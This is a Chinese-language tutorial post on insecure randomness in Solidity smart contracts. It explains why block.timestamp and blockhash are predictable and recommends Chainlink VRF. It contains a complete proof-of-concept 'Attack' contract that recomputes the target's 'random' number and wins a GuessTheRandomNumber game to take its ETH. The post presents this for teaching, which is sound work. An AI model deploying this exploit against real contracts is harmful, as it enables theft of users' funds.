Solidity 弱随机数的不安全性

本文介绍了在Solidity中生成随机数的常见需求和挑战,解释了为什么直接使用链上数据(如block.timestamp和blockhash)是不安全的,并通过一个具体的漏洞合约示例展示了攻击者如何利用这些弱点。最后,文章强调了使用可验证的随机数预言机(如Chainlink VRF)的重要性,以确保智能合约应用的公平性和安全性。

什么是保险随机性?

我们需要在Solidity中使用随机数吗?

随机数在以太坊区块链上的许多类型的智能合约和去中心化应用(dApp)中起着至关重要的作用。常见的用例包括:

  • 彩票和游戏: 为了挑选获胜者或生成不可预测的结果,例如掷骰子或洗牌。
  • NFT(非同质化代币)生成:为NFT分配随机特征,以确保唯一性和公平性。
  • ID或哈希生成中的随机性: 使用随机性来生成唯一ID、NFT token哈希或mint reveal值
  • 角色的随机分配: 在许多游戏和DAO中,角色(如领导者、获胜者或验证者)被“随机”分配。

❓Solidity中的随机数是真正随机的🎲还是安全的🔐?

🚫 绝对不是。

Solidity依赖于确定性值,如block.timestampblockhash,这些值可以被预测或操纵。

在Solidity中,我们经常需要随机数来进行游戏或抽奖等操作,但在区块链上安全地创建随机数是很棘手的,因为区块链的行为是公开的和确定性的,这意味着每个人都必须得到相同的结果。以下是一个简单的解释:

如何在Solidity中创建一个伪随机数

你可以将一些变量(如区块时间戳、发送者地址和一个计数器)组合起来,然后使用keccak256对其进行哈希处理,以获得一个“随机”数。例如:

function pseudoRandom(Params memory params) public view returns (uint256) {
        uint256 entropy = uint256(keccak256(abi.encodePacked(
            block.timestamp,
            msg.sender,
            blockhash(block.number - 1),
            params.penguinId,
            params.salt
        )));
        return entropy % 100;
    }

为什么这是不安全的?

  1. block.timestamp的可预测性:

block.timestamp是由挖掘该区块的矿工设置的值。矿工有一定的自由(在一定范围内)来更改时间戳。这意味着他们可以影响或预测随机种子。

  1. 公开且已知的输入:

params.penguinIdparams.salt这样的输入通常是已知的,或者可以被攻击者推断出来,特别是如果salt是公开的或由用户设置的。将已知的输入与block.timestamp结合起来并不能引入足够的不确定性。

  1. 简单的哈希是不够的:

虽然keccak256是一个安全的哈希函数,但对可预测的输入使用它并不能产生真正随机的数字——如果种子是可预测的,那么只能生成伪随机和容易猜测的值。

  1. 可操纵性:矿工可以稍微改变时间戳或交易顺序来影响输出并作弊,尤其是在彩票或抽奖中。

📉 当“随机”不是随机的:GuessTheRandomNumber背后的缺陷逻辑

🧪 真实世界的例子:Solidity中的漏洞合约和利用

注意:本帖中提供的代码示例取自官方Solidity by Example网站,仅用于教育目的。

让我们破解它:编写攻击合约 (PoC):

下面是一个简单的攻击者合约,它复制了用于计算有漏洞的GuessTheRandomNumber合约中“随机”数的相同逻辑。部署后,此合约可以在同一区块中使用正确的数字调用guess()函数——有效地保证了胜利。

由于在交易期间可以访问block.timestampblockhash(block.number - 1),因此这里没有真正的随机性。攻击者可以复制结果并拿走ETH。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    address payable public target;
    uint256 public  nonce;

    constructor(address payable _target) {
        target = _target;
    }

    function attack() public payable {
        uint256 answer = uint256(blockhash(block.number - 1));
        (bool success, ) = target.call{ value: msg.value }(
            abi.encodeWithSignature("guess(uint8)", uint8(answer))
        );
        require(success, "Attack failed");
        nonce++;
    }

    // Helper function to receive ETH
    receive() external payable {}
}

注意:本帖中提供的代码示例取自官方Solidity by Example网站,仅用于教育目的。

🔗 探索更多:GitHub上的完整测试文件

如果你想更深入地研究或亲自尝试利用,请在GitHub上查看此漏洞的完整Foundry测试脚本。该测试演示了如何逐步执行攻击,使你可以轻松地跟随、学习或调整该方法以进行自己的研究。

👉 在GitHub上查看完整的Foundry测试文件

top10-smartcontract-vulnerabilities/01-insecure-randomness at main ·…

加强随机性:安全应用程序的最佳实践和缓解策略

1. 永远不要使用区块变量来产生随机性(链上)

  • 避免依赖block.timestampblock.numberblockhashblock.difficulty作为随机性来源。
  • 这些值可以被矿工或验证者操纵或预测,尤其是在无需许可的区块链中。

2. 利用可验证的随机性预言机

  • 使用像Chainlink VRF(可验证随机函数)这样的服务,它提供随机性以及加密证明,证明预言机和合约参与者都无法操纵。
  • VRF结果可以在链上验证,确保所有用户的不可预测性和公平性。

📚 参考资料

智能合约漏洞数据集 - Cyfrin Solodit

Solidity by Example

  • 原文链接: blog.blockmagnates.com/p...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
blockmagnates
blockmagnates
The New Crypto Publication on The Block